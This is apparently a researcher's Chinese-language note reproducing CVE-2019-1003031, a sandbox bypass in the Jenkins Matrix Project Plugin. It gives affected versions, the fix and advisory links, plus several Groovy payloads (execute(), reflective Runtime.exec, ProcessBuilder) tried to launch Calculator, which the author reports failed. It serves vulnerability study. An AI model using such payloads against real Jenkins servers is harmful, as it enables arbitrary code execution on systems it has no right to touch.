影响版本:Matrix Project Plugin <= 1.13
修复建议:升级到1.14或以上
来源:
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031
官方公告描述:
Matrix Project Plugin supports a sandboxed Groovy expression to filter matrix combinations. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.
This allowed users able to configure a Matrix project to bypass the sandbox protection and execute arbitrary code on the Jenkins master.
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
中文描述可以参考cnnvd:
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201903-299
插件官方diff:
https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7
参考:
https://plugins.jenkins.io/matrix-project
https://wiki.jenkins.io/display/JENKINS/Building+a+matrix+project
https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin
Groovy脚本参考:
https://issues.jenkins-ci.org/browse/JENKINS-49350
先是使用payload:
(label=="solaris").implies(compiler=="/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text)
然后得到:
No such property: label for class: groovy.lang.Binding
然后使用payload:
println "/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text
得到
又尝试了
("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""
和
(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""
依然不可以:
然后google了一下,找到这些答案:
剩下的参考:
https://xz.aliyun.com/t/5270